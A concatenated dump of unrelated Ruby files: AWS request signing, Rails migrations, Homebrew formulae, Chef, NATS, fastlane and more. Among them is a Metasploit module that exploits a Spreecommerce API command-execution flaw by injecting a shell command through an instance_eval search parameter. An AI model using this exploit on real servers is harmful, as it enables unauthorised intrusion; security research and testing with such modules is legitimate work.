req.headers['x-amz-decoded-content-length'] = orig_size.to_s
end
req.headers['authorization'] = authorization(req, key, datetime, content_sha256)
req.body_stream = chunk_signed_stream(req, key) if chunk_signing
req
end
def signature(request, key, datetime, content_sha256)
string = string_to_sign(request, datetime, content_sha256)
hexhmac(key, string)
end
def credential(datetime)
"#{credentials.access_key_id}/#{key_path(datetime)}"
end
def derive_key(datetime)
k_secret = credentials.secret_access_key
k_date = hmac("AWS4" + k_secret, datetime[0,8])
k_region = hmac(k_date, region)
k_service = hmac(k_region, service_name)
k_credentials = hmac(k_service, 'aws4_request')
end
private
# Wraps the req body stream with another stream. The wrapper signs
# the original body as it is read, injecting signatures of indiviaul
# chunks into the resultant stream.
# @param [Http::Request] req
# @param [String] key
# @param [String] datetime
def chunk_signed_stream req, key
args = []
args << req.body_stream
args << req.headers['x-amz-decoded-content-length'].to_i
args << key
args << key_path(req.headers['x-amz-date'])
args << req.headers['x-amz-date']
args << req.headers['authorization'].split('Signature=')[1]
ChunkSignedStream.new(*args)
end
def authorization req, key, datetime, content_sha256
parts = []
parts << "AWS4-HMAC-SHA256 Credential=#{credential(datetime)}"
parts << "SignedHeaders=#{signed_headers(req)}"
parts << "Signature=#{signature(req, key, datetime, content_sha256)}"
parts.join(', ')
end
def string_to_sign req, datetime, content_sha256
parts = []
parts << 'AWS4-HMAC-SHA256'
parts << datetime
parts << key_path(datetime)
parts << hexdigest(canonical_request(req, content_sha256))
parts.join("\n")
end
# @param [String] datetime
# @return [String] the signature scope.
def key_path datetime
parts = []
parts << datetime[0,8]
parts << region
parts << service_name
parts << 'aws4_request'
parts.join("/")
end
# @param [Http::Request] req
def canonical_request req, content_sha256
parts = []
parts << req.http_method
parts << req.path
parts << req.querystring
parts << canonical_headers(req) + "\n"
parts << signed_headers(req)
parts << content_sha256
parts.join("\n")
end
# @param [Http::Request] req
def signed_headers req
to_sign = req.headers.keys.map{|k| k.to_s.downcase }
to_sign.delete('authorization')
to_sign.sort.join(";")
end
# @param [Http::Request] req
def canonical_headers req
headers = []
req.headers.each_pair do |k,v|
headers << [k,v] unless k == 'authorization'
end
headers = headers.sort_by(&:first)
headers.map{|k,v| "#{k}:#{canonical_header_values(v)}" }.join("\n")
end
# @param [String,Array<String>] values
def canonical_header_values values
values = [values] unless values.is_a?(Array)
values.map(&:to_s).join(',').gsub(/\s+/, ' ').strip
end
# @param [Http::Request] req
# @param [Boolean] chunk_signing
# @return [String]
def body_digest req, chunk_signing
case
when chunk_signing then STREAMING_CHECKSUM
when ['', nil].include?(req.body) then EMPTY_DIGEST
else hexdigest(req.body)
end
end
# @param [String] value
# @return [String]
def hexdigest value
digest = Digest::SHA256.new
if value.respond_to?(:read)
chunk = nil
chunk_size = 1024 * 1024 # 1 megabyte
digest.update(chunk) while chunk = value.read(chunk_size)
value.rewind
else
digest.update(value)
end
digest.hexdigest
end
# @param [String] key
# @param [String] value
# @return [String]
def hmac key, value
OpenSSL::HMAC.digest(sha256_digest, key, value)
end
# @param [String] key
# @param [String] value
# @return [String]
def hexhmac key, value
OpenSSL::HMAC.hexdigest(sha256_digest, key, value)
end
def sha256_digest
OpenSSL::Digest::Digest.new('sha256')
end
end
end
end
end
| 32.978166 | 97 | 0.590969 |
e91c4f5d375069cfb37cac52f1fc7d2d54b46483 | 194 | require "rspec/core/rake_task"
desc "Run unit tests"
RSpec::Core::RakeTask.new(:test) do |t|
t.pattern = "spec/**/test_*.rb"
t.rspec_opts = ["--color", "--backtrace", "-Ilib", "-Ispec"]
end
| 27.714286 | 62 | 0.639175 |
7ac5cf127a8db0214901c345a2c003a8c578ebeb | 208 | class CreateComments < ActiveRecord::Migration[5.1]
def change
create_table :comments do |t|
t.text :body
t.integer :trader_id
t.integer :trade_id
t.timestamps
end
end
end
| 18.909091 | 51 | 0.653846 |
79466c1d4e77cf63810dc2668dc6df46fe493c3c | 160 | # frozen_string_literal: true
class AddIndexToForumThreads < ActiveRecord::Migration[4.2]
def change
add_index :forum_threads, :last_posted_at
end
end
| 20 | 59 | 0.7875 |
39eafec1b2c9e528a8a0615fdebeb17c763bf15f | 1,550 | require "language/node"
class Fanyi < Formula
desc "Mandarin and english translate tool in your command-line"
homepage "https://github.com/afc163/fanyi"
url "https://registry.npmjs.org/fanyi/-/fanyi-5.0.1.tgz"
sha256 "0f80edeac5e727a299c2a0807f463231143d59b46fd8308ef794390b9d88052c"
license "MIT"
bottle do
sha256 cellar: :any_skip_relocation, arm64_big_sur: "2456b0530f3fb65613ec1a5911a8f76970a8f7f0f41344df91675ebf1943d755"
sha256 cellar: :any_skip_relocation, big_sur: "002883ae0d734a5ea67d80931311a5d8c7b9360a6415ca70f26f41e66dc4d307"
sha256 cellar: :any_skip_relocation, catalina: "002883ae0d734a5ea67d80931311a5d8c7b9360a6415ca70f26f41e66dc4d307"
sha256 cellar: :any_skip_relocation, mojave: "002883ae0d734a5ea67d80931311a5d8c7b9360a6415ca70f26f41e66dc4d307"
end
depends_on "node"
on_macos do
depends_on "macos-term-size"
end
def install
system "npm", "install", *Language::Node.std_npm_install_args(libexec)
bin.install_symlink Dir[libexec/"bin/*"]
term_size_vendor_dir = libexec/"lib/node_modules"/name/"node_modules/term-size/vendor"
term_size_vendor_dir.rmtree # remove pre-built binaries
on_macos do
macos_dir = term_size_vendor_dir/"macos"
macos_dir.mkpath
# Replace the vendored pre-built term-size with one we build ourselves
ln_sf (Formula["macos-term-size"].opt_bin/"term-size").relative_path_from(macos_dir), macos_dir
end
end
test do
assert_match "爱", shell_output("#{bin}/fanyi lov 2>/dev/null")
end
end
| 36.904762 | 122 | 0.765161 |
1d85b3bba46d36e33fa7ef9ba6794f42b4ebca33 | 372 | # frozen_string_literal: true
class CreateAudits < ActiveRecord::Migration[6.0]
def change
create_table :audits do |t|
t.references :planning_application, null: false, foreign_key: true
t.references :user
t.string :activity_type, null: false
t.string :activity_information
t.string :audit_comment
t.timestamps
end
end
end
| 23.25 | 72 | 0.701613 |
399bf1c43439e0ce4b4b50b5297b2ba71d199c24 | 6,027 | #
# Author:: John Keiser (<[email protected]>)
# Copyright:: Copyright 2012-2016, Chef Software Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require "chef/knife"
require "pathname"
class Chef
module ChefFS
class Knife < Chef::Knife
# Workaround for CHEF-3932
def self.deps
super do
require "chef/config"
require "chef/chef_fs/parallelizer"
require "chef/chef_fs/config"
require "chef/chef_fs/file_pattern"
require "chef/chef_fs/path_utils"
yield
end
end
def self.inherited(c)
super
# Ensure we always get to do our includes, whether subclass calls deps or not
c.deps do
end
c.options.merge!(options)
end
option :repo_mode,
:long => "--repo-mode MODE",
:description => "Specifies the local repository layout. Values: static, everything, hosted_everything. Default: everything/hosted_everything"
option :chef_repo_path,
:long => "--chef-repo-path PATH",
:description => "Overrides the location of chef repo. Default is specified by chef_repo_path in the config"
option :concurrency,
:long => "--concurrency THREADS",
:description => "Maximum number of simultaneous requests to send (default: 10)"
def configure_chef
super
Chef::Config[:repo_mode] = config[:repo_mode] if config[:repo_mode]
Chef::Config[:concurrency] = config[:concurrency].to_i if config[:concurrency]
# --chef-repo-path forcibly overrides all other paths
if config[:chef_repo_path]
Chef::Config[:chef_repo_path] = config[:chef_repo_path]
Chef::ChefFS::Config::INFLECTIONS.each_value do |variable_name|
Chef::Config.delete("#{variable_name}_path".to_sym)
end
end
@chef_fs_config = Chef::ChefFS::Config.new(Chef::Config, Dir.pwd, config, ui)
Chef::ChefFS::Parallelizer.threads = (Chef::Config[:concurrency] || 10) - 1
end
def chef_fs
@chef_fs_config.chef_fs
end
def create_chef_fs
@chef_fs_config.create_chef_fs
end
def local_fs
@chef_fs_config.local_fs
end
def create_local_fs
@chef_fs_config.create_local_fs
end
def pattern_args
@pattern_args ||= pattern_args_from(name_args)
end
def pattern_args_from(args)
args.map { |arg| pattern_arg_from(arg) }
end
def pattern_arg_from(arg)
inferred_path = nil
if Chef::ChefFS::PathUtils.is_absolute?(arg)
# We should be able to use this as-is - but the user might have incorrectly provided
# us with a path that is based off of the OS root path instead of the Chef-FS root.
# Do a quick and dirty sanity check.
if possible_server_path = @chef_fs_config.server_path(arg)
ui.warn("The absolute path provided is suspicious: #{arg}")
ui.warn("If you wish to refer to a file location, please provide a path that is rooted at the chef-repo.")
ui.warn("Consider writing '#{possible_server_path}' instead of '#{arg}'")
end
# Use the original path because we can't be sure.
inferred_path = arg
elsif arg[0, 1] == "~"
# Let's be nice and fix it if possible - but warn the user.
ui.warn("A path relative to a user home directory has been provided: #{arg}")
ui.warn("Paths provided need to be rooted at the chef-repo being considered or be relative paths.")
inferred_path = @chef_fs_config.server_path(arg)
ui.warn("Using '#{inferred_path}' as the path instead of '#{arg}'.")
elsif Pathname.new(arg).absolute?
# It is definitely a system absolute path (such as C:\ or \\foo\bar) but it cannot be
# interpreted as a Chef-FS absolute path. Again attempt to be nice but warn the user.
ui.warn("An absolute file system path that isn't a server path was provided: #{arg}")
ui.warn("Paths provided need to be rooted at the chef-repo being considered or be relative paths.")
inferred_path = @chef_fs_config.server_path(arg)
ui.warn("Using '#{inferred_path}' as the path instead of '#{arg}'.")
elsif @chef_fs_config.base_path.nil?
# These are all relative paths. We can't resolve and root paths unless we are in the
# chef repo.
ui.error("Attempt to use relative path '#{arg}' when current directory is outside the repository path.")
ui.error("Current working directory is '#{@chef_fs_config.cwd}'.")
exit(1)
else
inferred_path = Chef::ChefFS::PathUtils::join(@chef_fs_config.base_path, arg)
end
Chef::ChefFS::FilePattern.new(inferred_path)
end
def format_path(entry)
@chef_fs_config.format_path(entry)
end
def parallelize(inputs, options = {}, &block)
Chef::ChefFS::Parallelizer.parallelize(inputs, options, &block)
end
def discover_repo_dir(dir)
%w{.chef cookbooks data_bags environments roles}.each do |subdir|
return dir if File.directory?(File.join(dir, subdir))
end
# If this isn't it, check the parent
parent = File.dirname(dir)
if parent && parent != dir
discover_repo_dir(parent)
else
nil
end
end
end
end
end
| 37.203704 | 151 | 0.641115 |
f8857c4c92e91bf67297ec4edad665b438955abb | 1,603 | require 'nats/io/client'
require 'openssl'
nats = NATS::IO::Client.new
nats.on_error do |e|
puts "Error: #{e}"
puts e.backtrace
end
tls_context = OpenSSL::SSL::SSLContext.new
tls_context.ssl_version = :TLSv1_2
# Deactivating this makes it possible to connect to server
# skipping hostname validation...
tls_context.verify_mode = OpenSSL::SSL::VERIFY_PEER
tls_context.verify_hostname = true
# Set the RootCAs
tls_context.cert_store = OpenSSL::X509::Store.new
ca_file = File.read("./spec/configs/certs/nats-service.localhost/ca.pem")
tls_context.cert_store.add_cert(OpenSSL::X509::Certificate.new ca_file)
# The server is setup to use a wildcard certificate for:
#
# *.clients.nats-service.localhost
#
# so given the options above, having a wrong domain would
# make the client connection fail with an error
#
# Error: SSL_connect returned=1 errno=0 state=error: certificate verify failed (error number 1)
#
server = "nats://server-A.clients.nats-service.localhost:4222"
nats.connect(servers: [server], tls: { context: tls_context })
puts "Connected to #{nats.connected_server}"
nats.subscribe(">") do |msg, reply, subject|
puts "Received on '#{subject} #{reply}': #{msg}"
nats.publish(reply, "A" * 100) if reply
end
total = 0
payload = "c"
loop do
nats.publish("hello.#{total}", payload)
begin
nats.flush(1)
# Request which waits until given a response or a timeout
msg = nats.request("hello", "world")
puts "Received on '#{msg.subject} #{msg.reply}': #{msg.data}"
total += 1
sleep 1
rescue NATS::IO::Timeout
puts "ERROR: flush timeout"
end
end
| 26.278689 | 95 | 0.718029 |
28365d10e787eaa8348017071f3e47f0a787f495 | 575 | # frozen_string_literal: true
# Copyright (c) 2019 Danil Pismenny <[email protected]>
# Be sure to restart your server when you modify this file.
# This file contains settings for ActionController::ParamsWrapper which
# is enabled by default.
# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
ActiveSupport.on_load(:action_controller) do
wrap_parameters format: [:json]
end
# To enable root element in JSON for ActiveRecord objects.
# ActiveSupport.on_load(:active_record) do
# self.include_root_in_json = true
# end
| 30.263158 | 96 | 0.782609 |
ab9576ec56046e5671f3ddd980e16c293804db8c | 530 | module FakeS3
class Bucket
attr_reader :name
def initialize(name)
@name = name
clear
end
def clear
@objects = {}
end
def objects(_ = {})
@objects.keep_if(&:exists?)
end
def object(key)
@objects[key] ||= FakeS3::Object.new(self, key, nil)
end
def keys_to_contents
@objects.map_to_hash do |key, obj|
[key, obj.get.body.read]
end
end
def move_to(src, dest)
@objects[dest.key] = @objects.delete(src.key)
end
end
end
| 16.060606 | 58 | 0.566038 |
016f72e67f54bad07c37f6a30bd8b35383576114 | 822 | В Москве задержан мужчина, который зашел в церковь голкипера
Он вел себя спокойно и не совершал никаких противоправных действий; полиция передала его сотрудникам скорой психиатрической помощи.
Столичные полицейские задержали жителя Москвы, который зашел в одну из церквей без одежды.
Об этом сообщает агентство городских новостей "Москва".
Как рассказал начальник пресс-службы ГУ МВД по Москве Андрей Галиакберов, инцидент произошел во вторник, 15 сентября, примерно в 16: 00 на Каширском шоссе.
Голый мужчина вошел в церковь Св. Николая.
Он вел себя спокойно и не совершал никаких противоправных деяний.
На место происшествия выехал полицейский отряд.
Сотрудники правоохранительных органов ждали врачей от службы скорой психиатрической помощи, чтобы прибыть и вручили мужчину за них.
Им оказался 26-летний житель Москвы.
| 74.727273 | 155 | 0.83455 |
5d3891ed76addc755ba343e9e2334764e0bb978a | 1,037 | class Xa < Formula
desc "6502 cross assembler"
homepage "https://www.floodgap.com/retrotech/xa/"
url "https://www.floodgap.com/retrotech/xa/dists/xa-2.3.11.tar.gz"
sha256 "32f2164c99e305218e992970856dd8e2309b5cb6ac4758d7b2afe3bfebc9012d"
bottle do
cellar :any_skip_relocation
sha256 "82ac5a005305bb5fd7ff181e2f9aae95ad5f865574ed4cb8f936948cce406a72" => :catalina
sha256 "6dfd866eea2c29d98aabbe4b9a0821ad9b808b0d2b7754b3400f5bb4f4cb4184" => :mojave
sha256 "40334865dd2af12409a5c52ed9a8d3a5bd6b781da28375509e2481bd885c87e4" => :high_sierra
sha256 "bd5e7a4b0dd1c470280b0a49b69ea803cbafc96230c391fc845d97484a9cc0a9" => :x86_64_linux
end
def install
system "make", "CC=#{ENV.cc}",
"CFLAGS=#{ENV.cflags}",
"DESTDIR=#{prefix}",
"install"
end
test do
(testpath/"foo.a").write "jsr $ffd2\n"
system "#{bin}/xa", "foo.a"
code = File.open("a.o65", "rb") { |f| f.read.unpack("C*") }
assert_equal [0x20, 0xd2, 0xff], code
end
end
| 34.566667 | 94 | 0.696239 |
03a6ea6f051f5d50bd70966c0fe93afc76c02bd1 | 746 |
require 'twitter'
require 'yaml'
config_path = File.expand_path('app_secret.yml', File.dirname(__FILE__))
$app_config = YAML.load_file(config_path)
def update_file(file_name)
data = YAML.load_file(file_name)
data = process_data(data)
file = File.open(file_name, 'w')
file.puts data.to_yaml
file.close
end
def process_data(data)
dates = {}
dates.default = 0
data.each do |album|
if !album.has_key?('date') then next end
album['date'] = Date.parse(album['date'].to_s)
dates[album['date']] += 1
end
dates.each do |date, instances|
if instances > 1
puts "#{date} has #{instances} occurances."
end
end
return data
end
# Bit nasty, but should do the job
if (ARGV[0])
update_file(ARGV[0])
end
| 19.128205 | 72 | 0.676944 |
79cb53b0b7444e5cc14fb9d94b953a57d08b76fd | 2,855 | module ApplicationHelper
# Link to the finding aid with the passed in label
def link_to_findingaid(doc, label = nil, opts = {})
url = get_url_for_findingaid_from_document(doc)
link_to (label || url), url, opts.merge({ :target => "_blank" })
end
# Abstract actually constructing the url to the finding aids document
def get_url_for_findingaid_from_document(doc)
# Get pathname if series or component, leave nil if is top level collection
path = (doc[:parent_ssm].blank?) ? (doc[:format_ssm].first == "Archival Collection") ? nil : "dsc#{doc[:ref_ssi]}" : "dsc#{doc[:parent_ssm].first}"
anchor = (doc[:parent_ssm].blank?) ? nil : doc[:ref_ssi]
# Get repository, component ref and EAD id
repository, eadid = doc[:repository_ssi], doc[:ead_ssi]
url = url_for_findingaid(repository, eadid, path, anchor)
# If implied parent structure is correct, use it
if url_exists?(url)
return url
# If not, default to dsc.html with an anchor to the ref id
else
return url_for_findingaid(repository, eadid, "dsc", doc[:ref_ssi])
end
end
# Create url for finding aid
def url_for_findingaid(repository, eadid, page = nil, anchor = nil)
page = [page, ENV['FINDINGAIDS_FULL_DEFAULT_EXTENSION']].join(".") unless page.nil?
return "http://#{ENV['FINDINGAIDS_FULL_HOST']}#{[ENV['FINDINGAIDS_FULL_PATH'], repository, eadid, page].join("/")}#{"#" + anchor unless anchor.nil?}"
end
# Does the url actually return a valid page
def url_exists?(url)
Rails.cache.fetch "url_exists_#{url}", :expires_in => 1.month do
begin
Faraday.head(url).status == 200
rescue
false
end
end
end
# Boolean to find out if we are actively searching
# as opposed to on one of the homepages
def searching?
!params[:q].nil? || !params[:f].nil? || params[:commit] == "Search"
end
# Get current repository hash from Repositories object based on the param :repository
def current_repository
@current_repository ||= repositories.to_a.select { |repos| repos.last["display"] == params[:repository] }.flatten
end
# Get the display url for the current repository
def current_repository_url
@current_repository_admin_code ||= current_repository.last["url"]
end
# All repositories may not have home text associated with their homepage
# just return false in that case so we know not to render it
def current_repository_home_text?
begin
I18n.translate!("repositories.#{current_repository_url}.home_text", :raise => true)
rescue
false
end
end
def get_facet_label_from_key(key)
facet_fields.select{|f| f[:label] == facet_field_label(key)}.try(:first).try(:[], :field)
end
def maintenance_mode?
false
end
def repositories
@repositories ||= Findingaids::Repositories.repositories
end
end
| 35.246914 | 153 | 0.694921 |
3823bec9d1a23ab5513ebbc174e5b5d6c01b0aae | 194 | class Viscosity < Cask
url 'http://www.sparklabs.com/downloads/Viscosity.dmg'
homepage 'http://www.sparklabs.com/viscosity/'
version 'latest'
sha256 :no_check
link 'Viscosity.app'
end
| 24.25 | 56 | 0.737113 |
2104a273470144798767d4ffceb417bdda994c05 | 282 | # frozen_string_literal: true
describe file('/etc/cron.d/a') do
it { should_not exist }
end
describe file('/etc/cron.d/b') do
it { should exist }
end
describe file('/etc/cron.d/c') do
it { should_not exist }
end
describe file('/etc/cron.d/d') do
it { should exist }
end
| 15.666667 | 33 | 0.670213 |
26b6362708c88a8ca792488c4d9820770729c876 | 245 | # Use this hook to configure SellObject settings
SellObject.setup do |config|
# Set up the store name to be used on engines that wrap up their outputs under this single name.
config.store_name = '<%= Rails.application.class.parent_name %>'
end | 49 | 97 | 0.771429 |
bbc50082dbb4fb0249c134536370a0ccce12ca1e | 206 | class AddProjectIdToRequest < ActiveRecord::Migration
def self.up
add_column :requests, :project_id, :integer, :default=>nil
end
def self.down
remove_column :requests, :project_id
end
end
| 18.727273 | 62 | 0.737864 |
0339efdf6d3975bccacde9eb75734e67bd7e8f0f | 469 | require_relative '../spec_helper'
describe Runby do
it 'has a version number' do
expect(Runby::VERSION).not_to be nil
end
# End to end test
it 'tells me my ideal pace for a Long Run is 05:30-06:19, given a 5K time of 20:00' do
long_run = Runby::RunTypes::LongRun.new
five_k_time = Runby::RunbyTime.new('20:00')
pace_range = long_run.lookup_pace(five_k_time)
expect(pace_range.to_s(format: :long)).to eq '5:29-6:19 per kilometer'
end
end
| 29.3125 | 88 | 0.701493 |
4a0462b3ad4a723d40b1e637e18e50d1c76747ba | 42 | class Gman
VERSION = '7.0.2'.freeze
end
| 10.5 | 26 | 0.666667 |
ab9a4be404c6f3020bcb12b701218377142f98cf | 4,118 | # encoding: UTF-8
# --
# Copyright (C) 2008-2011 10gen Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ++
# A hash in which the order of keys are preserved.
#
# Under Ruby 1.9 and greater, this class has no added methods because Ruby's
# Hash already keeps its keys ordered by order of insertion.
module BSON
class OrderedHash < Hash
def ==(other)
begin
case other
when BSON::OrderedHash
keys == other.keys && values == other.values
else
super
end
rescue
false
end
end
# We only need the body of this class if the RUBY_VERSION is before 1.9
if RUBY_VERSION < '1.9'
attr_accessor :ordered_keys
def self.[] *args
oh = BSON::OrderedHash.new
if Hash === args[0]
oh.merge! args[0]
elsif (args.size % 2) != 0
raise ArgumentError, "odd number of elements for Hash"
else
0.step(args.size - 1, 2) do |key|
value = key + 1
oh[args[key]] = args[value]
end
end
oh
end
def initialize(*a, &b)
@ordered_keys = []
super
end
def yaml_initialize(tag, val)
@ordered_keys = []
super
end
def keys
@ordered_keys.dup
end
def []=(key, value)
unless has_key?(key)
@ordered_keys << key
end
super(key, value)
end
def each
@ordered_keys.each { |k| yield k, self[k] }
self
end
alias :each_pair :each
def to_a
@ordered_keys.map { |k| [k, self[k]] }
end
def values
collect { |k, v| v }
end
def replace(other)
@ordered_keys.replace(other.keys)
super
end
def merge(other)
oh = self.dup
oh.merge!(other)
oh
end
def merge!(other)
@ordered_keys += other.keys # unordered if not an BSON::OrderedHash
@ordered_keys.uniq!
super(other)
end
alias :update :merge!
def dup
result = OrderedHash.new
@ordered_keys.each do |key|
result[key] = self[key]
end
result
end
def inspect
str = "#<BSON::OrderedHash:0x#{self.object_id.to_s(16)} {"
str << (@ordered_keys || []).collect { |k| "\"#{k}\"=>#{self.[](k).inspect}" }.join(", ")
str << '}>'
end
def delete(key, &block)
@ordered_keys.delete(key) if @ordered_keys
super
end
def delete_if(&block)
self.each do |k,v|
if yield k, v
delete(k)
end
end
end
def reject(&block)
clone = self.clone
return clone unless block_given?
clone.delete_if(&block)
end
def reject!(&block)
changed = false
self.each do |k,v|
if yield k, v
changed = true
delete(k)
end
end
changed ? self : nil
end
def clear
super
@ordered_keys = []
end
if RUBY_VERSION =~ /1.8.6/
def hash
code = 17
each_pair do |key, value|
code = 37 * code + key.hash
code = 37 * code + value.hash
end
code & 0x7fffffff
end
def eql?(o)
if o.instance_of? BSON::OrderedHash
self.hash == o.hash
else
false
end
end
end
def clone
Marshal::load(Marshal.dump(self))
end
end
end
end
| 22.02139 | 97 | 0.528169 |
33d55fccb86d72c4f52cc6ea06aa9ca99f645a4a | 1,334 | require 'test_helper'
describe BrNfe::Product::Operation::NfeDownloadNf do
subject { FactoryGirl.build(:product_operation_nfe_download_nf) }
describe '#aliases' do
it { must_have_alias_attribute :chNFe, :chave_nfe }
end
describe 'Validations' do
describe '#chave_nfe' do
before { subject.stubs(:generate_key) }
it { must validate_presence_of(:chave_nfe) }
it { must validate_length_of(:chave_nfe).is_equal_to(44) }
end
end
describe '#xml_builder' do
it "Deve renderizar o XML e setar o valor na variavel @xml_builder" do
subject.expects(:render_xml).returns('<xml>OK</xml>')
subject.xml_builder.must_equal '<xml>OK</xml>'
subject.instance_variable_get(:@xml_builder).must_equal '<xml>OK</xml>'
end
it "Se já houver valor setado na variavel @xml_builder não deve renderizar o xml novamente" do
subject.instance_variable_set(:@xml_builder, '<xml>OK</xml>')
subject.expects(:render_xml).never
subject.xml_builder.must_equal '<xml>OK</xml>'
end
end
describe "Validação do XML através do XSD" do
it "Deve ser válido em ambiente de produção" do
subject.env = :production
nfe_must_be_valid_by_schema 'downloadNFe_v1.00.xsd'
end
it "Deve ser válido em ambiente de homologação" do
subject.env = :test
nfe_must_be_valid_by_schema 'downloadNFe_v1.00.xsd'
end
end
end | 31.761905 | 96 | 0.743628 |
7a254b9528f22bec12f6ca4ea118c3b05b36124d | 2,330 | ##
# $Id: spree_searchlogic_exec.rb 12397 2011-04-21 19:38:42Z swtornio $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Spreecommerce < 0.50.0 Arbitrary Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
Spreecommerce API searchlogic. Unvalidated input is called via the
Ruby send method allowing command execution.
},
'Author' => [ 'joernchen <[email protected]> (Phenoelit)' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12397 $',
'References' =>
[
[ 'OSVDB', '71900'],
[ 'URL', 'http://www.spreecommerce.com/blog/2011/04/19/security-fixes/' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 31337,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Apr 19 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The path to the Spreecommerce main site", "/"]),
], self.class)
end
def exploit
command = Rex::Text.uri_encode(payload.encoded)
urlconfigdir = datastore['URI'] + "api/orders.json?search[instance_eval]=Kernel.fork%20do%60#{command}%60end"
res = send_request_raw({
'uri' => urlconfigdir,
'method' => 'GET',
'headers' =>
{
'HTTP_AUTHORIZATION' => 'ABCD', #needs to be present
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
'Connection' => 'Close',
}
}, 0.4 ) #short timeout, we don't care about the response
if (res)
print_status("The server returned: #{res.code} #{res.message}")
end
handler
end
end | 29.493671 | 112 | 0.590129 |
e2e72d83d3b4c406715700b4a364ae62571d4b3a | 235 | require 'rspec'
require_relative 'dog'
RSpec.describe Dog do
it 'is hungry' do
dog = Dog.new
expect(dog.hungry?).to be true
end
it 'eats' do
dog = Dog.new
dog.eat
expect(dog.hungry?).to be false
end
end
| 13.055556 | 35 | 0.634043 |
4aabb423f2d08f43213f86c45eaffb5de805eb2a | 935 | # coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'dumpsync/version'
Gem::Specification.new do |spec|
spec.name = "dumpsync"
spec.version = Dumpsync::VERSION
spec.authors = ["Resonious"]
spec.email = ["[email protected]"]
spec.summary = %q{Dump from remote, sync to local.}
spec.description = %q{Quick rake task for running mysqldump on a remote database,
then loading it into your app's database.}
spec.homepage = ""
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0")
spec.executables = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ["lib"]
spec.add_development_dependency "bundler", ">= 2.2.10"
spec.add_development_dependency "rake"
end
| 37.4 | 85 | 0.634225 |
2810feb5b5aee4d0cb2b66387c708f7d6cad7aec | 967 | class ShopEmployerNotices::EeMidYearPlanChangeNotice < ShopEmployerNotice
attr_accessor :employer_profile, :hbx_enrollment
def initialize(employer_profile, args = {})
self.hbx_enrollment = HbxEnrollment.by_hbx_id(args[:options][:hbx_enrollment]).first
super(employer_profile, args)
end
def deliver
build
append_data
generate_pdf_notice
non_discrimination_attachment
attach_envelope
upload_and_send_secure_message
send_generic_notice_alert unless self.hbx_enrollment.benefit_group.is_congress
send_generic_notice_alert_to_broker_and_ga
end
def append_data
effective_on = self.hbx_enrollment.effective_on
employee_fullname = self.hbx_enrollment.employee_role.person.full_name.titleize
notice.enrollment = PdfTemplates::Enrollment.new({
:effective_on => effective_on
})
notice.employee = PdfTemplates::EmployeeNotice.new({
:primary_fullname => employee_fullname
})
end
end | 31.193548 | 88 | 0.777663 |
2664d13cee0bd334e04491aa0dc2c70ad0b9584b | 7,093 | module Fastlane
class ActionsList
def self.run(filter: nil, platform: nil)
require 'terminal-table'
if filter
show_details(filter: filter)
else
print_all(platform: platform)
end
end
def self.print_all(platform: nil)
rows = []
all_actions(platform) do |action, name|
current = []
if Fastlane::Actions.is_deprecated?(action)
current << "#{name} (DEPRECATED)".deprecated
else
current << name.yellow
end
if action < Action
current << action.description if action.description
authors = Array(action.author || action.authors)
current << authors.first.green if authors.count == 1
current << "Multiple".green if authors.count > 1
else
UI.error(action_subclass_error(name))
current << "Please update action file".red
current << ' '
end
rows << current
end
puts(Terminal::Table.new(
title: "Available fastlane actions".green,
headings: ['Action', 'Description', 'Author'],
rows: FastlaneCore::PrintTable.transform_output(rows)
))
puts(" Platform filter: #{platform}".magenta) if platform
puts(" Total of #{rows.count} actions")
puts("\nGet more information for one specific action using `fastlane action [name]`\n".green)
end
def self.show_details(filter: nil)
puts("Loading documentation for #{filter}:".green)
puts("")
action = find_action_named(filter)
if action
unless action < Action
UI.user_error!(action_subclass_error(filter))
end
print_summary(action, filter)
print_options(action, filter)
print_output_variables(action, filter)
print_return_value(action, filter)
if Fastlane::Actions.is_deprecated?(action)
puts("==========================================".deprecated)
puts("This action (#{filter}) is deprecated".deprecated)
puts(action.deprecated_notes.to_s.deprecated) if action.deprecated_notes
puts("==========================================\n".deprecated)
end
puts("More information can be found on https://docs.fastlane.tools/actions/#{filter}")
puts("")
else
puts("Couldn't find action for the given filter.".red)
puts("==========================================\n".red)
print_all # show all available actions instead
print_suggestions(filter)
end
end
def self.print_suggestions(filter)
if !filter.nil? && filter.length > 1
action_names = []
all_actions(nil) do |action_ref, action_name|
action_names << action_name
end
corrections = []
if defined?(DidYouMean::SpellChecker)
spell_checker = DidYouMean::SpellChecker.new(dictionary: action_names)
corrections << spell_checker.correct(filter).compact
end
